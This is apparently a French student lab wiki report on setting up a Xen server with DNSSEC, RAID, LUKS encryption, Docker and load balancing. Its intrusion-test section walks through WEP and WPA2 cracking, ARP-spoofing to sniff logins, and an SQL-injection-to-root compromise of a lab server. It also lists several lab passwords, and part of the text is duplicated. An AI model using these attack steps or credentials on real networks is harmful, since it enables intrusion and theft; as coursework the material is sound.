Networking Information
----------------------
IP Address 1 : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]
Netmask : 255.255.255.0
Gateway : 100.64.0.5

===Configuration des LV===

Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :

root@capbreton:~# mkfs.ext4 /dev/storage/amanite1
root@capbreton:~# mkfs.ext4 /dev/storage/amanite2

Nous avons par la suite modifier le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :

Dans la fonction Disk Device(s) :
disk = [
...
'phy:/dev/storage/RingotSanchez1,xvdav3,w'
'phy:/dev/storage/RingotSanchez2,xvdav4,w'
]

Puis dans Networking :
vif = [ 'bridge=IMA5sc, ...']

===Création et configuration de la machine virtuelle===

Lorsque nous sommes connecté en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg

*Commandes utiles
** Affichage de l'ensemble des VM présente sur capbreton : xl list
** Se connecter à la VM : xen console amanite
Identifiant de la machine : root
Mdp de la machine : pasglop

'''Suite de la configuration'''

Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4 à l'aide des commandes :
root@amanite:~# mkfs.ext4 /dev/xvda3
root@amanite:~# mkfs.ext4 /dev/xvda4

Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :

root@amanite:~# mount /dev/xvda3 /mnt/xvda3
root@amanite:~# mount /dev/xvda4 /mnt/xvda4

Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :

root@amanite:~# mv /var/* /mnt/xvda4.

Puis nous démontons (umount) nos deux volumes.

Nous modifions ensuite /ect/fstab en ajoutant :
/dev/xvda3 /home ext4 defaults 0 2
/dev/xvda4 /var ext4 defaults 0 2

Puis nous les montons à l'aide de la commande :
mount -a
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage :
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvda1 202:1 0 512M 0 disk [SWAP]
xvda2 202:2 0 4G 0 disk /
xvda3 202:3 0 10G 0 disk /home
xvda4 202:4 0 10G 0 disk /var

==Service Internet==

===Serveur SSH===

Installation d'un serveur ssh, accessible grâce à la commande :
ssh root@amanite.site
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)

===Serveur DNS===

Nous avons commencé par louer un nom de domaine sur gandi.net :
amanite.site
Nous avons ensuite installé le package bind9.

Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :

Dans /etc/bind/named.conf.local :

zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db";
allow-transfer{217.70.177.40;};
};

Dans /etc/bind/zones/amanite.site.db :

;BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns1.amanite.site. postmaster.amanite.site. (
6 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.amanite.site.
@ IN NS ns6.gandi.net.
@ IN MX 42 ns1
ns1 IN A 193.48.57.184
www IN A 193.48.57.184
ns1 IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb
www IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb

Dans /etc/bind/name.conf.options

options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer";};
};

acl "allowed_to_transfer" {
217.70.177.40/32;
};

Sur gandi.net on lie ns1.amanite.site à 193.48.57.184 grâce a l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.
ns1.amanite.site
ns6.gandi.net

Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :
host -t any ns1.amanite.site localhost
host -t any ns1.amanite.site

ou se servir de nslookup.

===Sécurisation de site web par certificat===

Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.
Cette ligne de commande nous permet de lancer la procédure de création :

openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr

Country Name (2 letter code) [AU]:FR
State or Province Name (full name) [Some-State]:France
Locality Name (eg, city) []:Lille
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech
Organizational Unit Name (eg, section) []:IMA
Common Name (e.g. server FQDN or YOUR name) []:amanite.site
Email Address []:admin@amanite.site

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:glopglop
An optional company name []:

Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name "amanite.site".
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.

===Sécurisation de serveur DNS par DNSSEC===

Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis.
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.

Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :
dnssec-enable yes

Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone :
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site
Puis la la clef asymétrique de la zone pour signer les enregistrements :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site

Nous renommons les deux paires de clefs obtenues pour plus de lisibilité :
amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private

Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :
$include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key
$include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key

Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed

Nous signons les enregistrements de la zone avec la commande :
dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk

Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :
zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db.signed";
allow-transfer{217.70.177.40;};
};

L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)

Finalement nous relançons bind :
service bind9 restart

Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site

[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]

==Tests d'intrusion==

===Cassage de clef WEP d’un point d’accès WiFi===

*Liste des commandes :
** Lister les interfaces WiFi disponibles : airmong-ng
** Passage d'une interface en mode moniteur : airmong-ng start <Interface>
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep <Interface>
** Capture des paquets émis par le point d'accés cible : airodump-ng --write <nomFichierSortie> --channel 3 -bssid <@mac_AP> <nomInterface>
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x <nomFichierSortie>-01.cap

Notre première étape consiste à passer notre interface en mode moniteur.
Nous utilisons donc la commande : airmong-ng

Ce qui nous retourne le nom de notre interface, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface :
airodump-ng --encrypt wep wlan0mon

Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande :
airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon

Nous pouvons "stimuler" le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) :
'''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

'''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande :
aircrack-ng -z data.cap

Nous obtenons alors :
KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ]
Decrypted correctly: 100%

===Cassage de mot de passe WPA2-PSK par force brute===

Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.

Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux capter par notre interface :
airodump-ng wlan0mon

Nous repérons le réseau "Kracotte05" qui possède le BSSID suivant "00:14:1B:60:8C:24"

Nous pouvons lancer dès lors la commande :
airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon

Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arreter la capture.
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :
crunch 8 8 0123456789 > dico.txt
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.

Pour cracker le mot de passe, nous avons utiliser hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.

La commande est la suivante :
crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx

Le mot de passe pour la kracotte05 est le suivant : 10244444

===Attaque de type "homme au milieu" par usurpation ARP===

Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :
apt-get install dsniff

La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 > /proc/sys/net/ipv4/ip_forward

Nous pouvons afficher la table arp de la machine pirate avec la commande :
arp -a
Grâce à cette table nous identifions deux adresses IP :

172.26.145.254
-> Adresse IP du routeur

172.26.145.60
-> Adresse IP de la machine victime

Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.

Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :
arpspoof -i eth0 -t 172.26.145.254 172.26.145.60
arpspoof -i eth0 -t 172.26.145.60 172.26.145.254

La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.

En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparante.

La machine victime va maintenant se connecter sur un serveur web HTTP.

En lançant wireshark sur la machine attaquante nous observons les paquets suivants :
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]

Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.

===Intrusion sur un serveur d’application Web===

Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :

nmap -A -T4 honey.plil.info

[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]

Nous voyons que le serveur héberge deux services :
Un service de connexion ssh, inutilisable sans login et mot de passe
Un service web.

Nous essayons donc de commencer par attaquer le site web honey.plil.info

Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.
Les requêtes SQL de connexions sont souvent de la forme :
Select … From … Where login = « username » AND password = « password ».
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc on utilise la condition vraie sur les deux champs. De ce fait la base de données sera « perdu » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous disant que nous ne pouvons nous connecter à tous ces comptes en même temps.

[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]

Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :
- La première permet d’uploader un fichier qui est stocké sur le pc du server
- La deuxième permet de lire ce fichier.

Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.

Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.

dirb -r honey.plil.info

[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]

Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.

Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme "glopglop" et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.

==Réalisations==

===Sécurisation de données===

Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :

lvcreate -L1G -n amanite-raid1 storage
lvcreate -L1G -n amanite-raid2 storage
lvcreate -L1G -n amanite-raid3 storage

Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg
disk = [
'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',
'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',
'phy:/dev/storage/RingotSanchez1,xvda3,w',
'phy:/dev/storage/RingotSanchez2,xvda4,w',
'phy:/dev/storage/amanite-raid1,xvda5,w',
'phy:/dev/storage/amanite-raid2,xvda6,w',
'phy:/dev/storage/amanite-raid3,xvda7,w'
]

Puis nous redémarrons notre VM.
xl destroy amanite
xl create /etc/xen/amanite.cfg

Après avoir relancer notre VM, nous installons le paquet mdadm.

apt instal mdadm

Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.

mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mdadm --monitor --daemonise /dev/md0

Nous formatons notre volume RAID.

mkfs.ext4 /dev/md0

Et nous rajoutons la ligne suivante dans /etc/fstab :

/dev/md0 /raid5 ext4 defaults 0 2

Nous pouvons avoir des détails notre volume grâce à la commande :
mdadm --detail /dev/md0

Pour finir, nous montons et peuplons notre volume RAID.
mount /dev/md0 /mnt
touch coucou.txt

A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.

Nous déclarons un de nos disques comme étant en défaillance :

mdadm --set-faulty /dev/md0 /dev/xvda7

Puis nous l'enlevons de notre volume RAID :
mdadm --remove /dev/xvda7

Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.

Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :
mdadm --manage /dev/md0 --add /dev/xvda7

===Chiffrement de données===

Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.

Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.

cryptsetup luksFormat /dev/sdb
cryptsetup luksOpen /dev/sdb crypt_sdb

Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.

mkfs.ext4 /dev/mapper/crypt_sdb

Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.

mount /dev/mapper/crypt_sdb /mnt

Puis nous y ajoutons un fichier.

touch /mnt/test.txt

Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.

umount /mnt
cryptsetup luksClose crypt_sdb

Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présent. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.

===Inspection ARP par un élément réseau===

Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.

===Sécurisation WiFi par WPA2-EAP===

== Partie 7 ==

=== Architecture de la ferme ===

Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.

Dans un premier temps nous avons ajouté une interface réseau virtuelle à notre machine amanite sur capbreton (fichier /etc/xen/amanite.cfg) afin de la relier au VLAN50 tout en choisissant une adresse MAC incrémenté de 1.

vif = [ 'bridge=IMA5sc, ip=100.64.0.19 ,mac=00:16:3E:C4:6A:BB', 'bridge=bridgeStudents, ip=192.168.42.19, mac=00:16:3E:C4:6A:BC' ]

Sur notre machine virtuelle côté chassiron voici la configuration après modification dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.184
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.24/24
up ip route add default via 100.64.0.2 src 193.48.57.184
down ip address del dev eth0 100.64.0.24/24
down ip route del default via 100.64.0.2 src 193.48.57.184

# The secondary network interface
auto eth1
iface eth1 inet static
address 192.168.42.19
netmask 255.255.255.0

Nous avons mis en place notre propre mascarade avec les commandes suivantes :
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24
iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24
iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184
Ce qui permet à nos paquets en provenance de 192.168.45.5 de sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton (et bien entendu de faire le trajet inverse). Finalement nous avons supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d afin de pouvoir procéder a des "apt install" et ne plus être considérer comme des hackeur russes malveillants.

Nous avons également installer le paquet iptables-persistent afin que notre configuration puisse être mise en place à chaque redémarrage de notre VM tout en modifiant le fichier "/etc/sysctl.conf" pour activer l'ip forwarding pour les paquets IPV4.

A la fin de cette partie nous sommes capables de ping les machines entre elles.

Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.42.5/24
gateway 192.168.42.19

Nous avons également modifié notre fichier /etc/resolv.conf :
domain plil.info
search plil.info plil.fr
nameserver 192.168.42.19

Et supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d

Nous modifions les fichiers /etc/resolv.conf pour supprimer le dns de l'ecole et nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école.

A la fin de cette partie la machine sur chassiron est capable de ping google.

==== Clés SSH ====

Génération d’une clef asymétrique :
ssh-keygen -t rsa

Installation de la clef publique sur une cible :
cat .ssh/id_rsa.pub | ssh cible "cat >> /root/.ssh/authorized_keys2"

A FINIR

=== Installation de docker ===

Avant de commencer l'installation de docker il nous faut ajouter les packages python3 et python3-pip à notre machine secondaire, nous avons utilisé ansible pour faire ceci en créant le rôle basic :

- name: package to be installed
apt:
update_cache: yes
name: "{ { packages } }"
vars:
packages:
- python3
- python3-pip

Nous avons également récupéré le rôle geerlingguy.docker qui est un rôle fait pour déployer docker grâce à ansible.

Nous avons ensuite créé notre playbook pour déployer nos commandes :

- hosts: webserver
roles:
- basic
- geerlingguy.docker
vars:
docker_apt_gpg_key: "https://download.docker.com/linux/debian/gpg"
docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }"

=== Création de notre conteneur ===

Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :

FROM httpd:2.4
COPY . /usr/local/apache2/htdocs/
CMD ["httpd", "-D", "FOREGROUND"]

Nous avons ensuite créé l'image du Dockerfile :
docker build -t web .

Puis nous avons lancé notre container
docker run -d -p "8085:80" --name web web

Nous avons pu vérifier le bon fonctionnement de celui-ci grâce a la commande suivante :
curl 193.48.57.184:8085

Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire :

- name: Setup registry
docker_container:
name: registry
image: registry
ports:
- "5000:5000"

Après cela nous avons voulu push notre image "web" vers notre dépôt mais une erreur est survenue, celle-ci viens du fait qu'il fallait rajouter le fichier daemon.json dans le dossier "/etc/docker/" afin de ne pas utiliser une connexion sécurisé.

{
"insecure-registries" : ["192.168.42.5:5000"]
}

Une fois ce fichier modifié nous avons pu utiliser les commandes :

docker tag web 192.168.42.5:5000/webserver
docker push 192.168.42.5:5000/webserver

=== Configuration de nos serveurs internes ===

Pour voir déployer nos containeurs sur tous les serveurs disponibles sur chassirons nous avons d'abord créé notre role "new_container" :

- name: Create a container
docker_container:
name: amanite_container
image: 192.168.42.5:5000/webserver_amanite
ports:
- "8085:80"

Puis nous avons déployé notre container grâce à notre playbook :

- hosts: webservers
roles:
- new_container

=== Equilibreur de charge ===

Nous avons ensuite ajouté le serveur web virtuel reverse.amanite.site, puis nous avons activé les modules apaches suivants :

a2enmod proxy
a2enmod proxy_http
a2enmod proxy_balancer
a2enmod lbmethod_byrequests

Puis nous avons modifié notre fichier de configuration reverse.conf :

<VirtualHost *:80>
ServerName reverse.amanite.site
ServerAdmin lolopierro
<Proxy "balancer://mycluster">
BalancerMember "http://192.168.42.5:8085" route=1
BalancerMember "http://192.168.42.2:8085" route=2
BalancerMember "http://192.168.42.4:8085" route=3
BalancerMember "http://192.168.42.7:8085" route=4
BalancerMember "http://192.168.42.9:8085" route=5
BalancerMember "http://192.168.42.12:8085" route=6
ProxySet lbmethod=byrequests
</Proxy>
ProxyPass / balancer://mycluster/
ProxyPassReverse / balancer://mycluster/
</VirtualHost>

Pour vérifier notre loadbalancing nous avons changé notre page index.html, puis nous avons build notre nouvelle image docker, nous l'avons push sur le registry et pull depuis notre machine amanite sur Chassiron. Nous avons ensuite relancé notre playbook nous permettant de déployer cette image sur tous les serveurs webs, mais seul notre machine amanite (car nous avons pull sur cette machine) et les machines n'ayant pas eu le déploiement avant on été actualisé. Cela nous permet de bien vérifier notre loadbalancing.

Une deuxième méthode pour vérifier celui-ci est l'ajout du module status sur apache :

a2enmod status

Puis nous avons modifié notre fichier de configuration reverse.conf en y ajoutant les lignes suivantes :

<Location "/server-status">
SetHanlder server-status
Order Allow,Deny
Allow from all
</Location>

Malheureusement nous n'arrivons pas à accéder à la page reverse.amanite.site/server-status malgré les différentes recherches effectuées.

TP sysres IMA5sc 2020/2021 G5

2020-12-20T10:59:17Z

Psanchez : /* Equilibreur de charge */

{| class="wikitable"
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)
|-
| Groupe 5
| amanite.site
| Debian 10 Buster
| 305
| 100.64.0.24
| 255.255.255.0
| 100.64.0.254
| 100.64.0.1
| 100.64.0.2
| 193.48.57.184
|}

==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==

Connexion ssh :

ssh pifou@capbreton.plil.info

Création de la VM Xen :

> su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)

> xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster

Résultat de la commande :
General Information
--------------------
Hostname : amanite
Distribution : buster
Mirror : http://deb.debian.org/debian
Partitions : swap 512M (swap)
/ 4G (ext4)
Image type : sparse
Memory size : 256M
Kernel path : /boot/vmlinuz-4.19.0-9-amd64
Initrd path : /boot/initrd.img-4.19.0-9-amd64

Networking Information
----------------------
IP Address 1 : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]
Netmask : 255.255.255.0
Gateway : 100.64.0.5

===Configuration des LV===

Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :

root@capbreton:~# mkfs.ext4 /dev/storage/amanite1
root@capbreton:~# mkfs.ext4 /dev/storage/amanite2

Nous avons par la suite modifier le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :

Dans la fonction Disk Device(s) :
disk = [
...
'phy:/dev/storage/RingotSanchez1,xvdav3,w'
'phy:/dev/storage/RingotSanchez2,xvdav4,w'
]

Puis dans Networking :
vif = [ 'bridge=IMA5sc, ...']

===Création et configuration de la machine virtuelle===

Lorsque nous sommes connecté en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg

*Commandes utiles
** Affichage de l'ensemble des VM présente sur capbreton : xl list
** Se connecter à la VM : xen console amanite
Identifiant de la machine : root
Mdp de la machine : pasglop

'''Suite de la configuration'''

Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4 à l'aide des commandes :
root@amanite:~# mkfs.ext4 /dev/xvda3
root@amanite:~# mkfs.ext4 /dev/xvda4

Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :

root@amanite:~# mount /dev/xvda3 /mnt/xvda3
root@amanite:~# mount /dev/xvda4 /mnt/xvda4

Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :

root@amanite:~# mv /var/* /mnt/xvda4.

Puis nous démontons (umount) nos deux volumes.

Nous modifions ensuite /ect/fstab en ajoutant :
/dev/xvda3 /home ext4 defaults 0 2
/dev/xvda4 /var ext4 defaults 0 2

Puis nous les montons à l'aide de la commande :
mount -a
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage :
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvda1 202:1 0 512M 0 disk [SWAP]
xvda2 202:2 0 4G 0 disk /
xvda3 202:3 0 10G 0 disk /home
xvda4 202:4 0 10G 0 disk /var

==Service Internet==

===Serveur SSH===

Installation d'un serveur ssh, accessible grâce à la commande :
ssh root@amanite.site
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)

===Serveur DNS===

Nous avons commencé par louer un nom de domaine sur gandi.net :
amanite.site
Nous avons ensuite installé le package bind9.

Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :

Dans /etc/bind/named.conf.local :

zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db";
allow-transfer{217.70.177.40;};
};

Dans /etc/bind/zones/amanite.site.db :

;BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns1.amanite.site. postmaster.amanite.site. (
6 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.amanite.site.
@ IN NS ns6.gandi.net.
@ IN MX 42 ns1
ns1 IN A 193.48.57.184
www IN A 193.48.57.184
ns1 IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb
www IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb

Dans /etc/bind/name.conf.options

options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer";};
};

acl "allowed_to_transfer" {
217.70.177.40/32;
};

Sur gandi.net on lie ns1.amanite.site à 193.48.57.184 grâce a l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.
ns1.amanite.site
ns6.gandi.net

Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :
host -t any ns1.amanite.site localhost
host -t any ns1.amanite.site

ou se servir de nslookup.

===Sécurisation de site web par certificat===

Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.
Cette ligne de commande nous permet de lancer la procédure de création :

openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr

Country Name (2 letter code) [AU]:FR
State or Province Name (full name) [Some-State]:France
Locality Name (eg, city) []:Lille
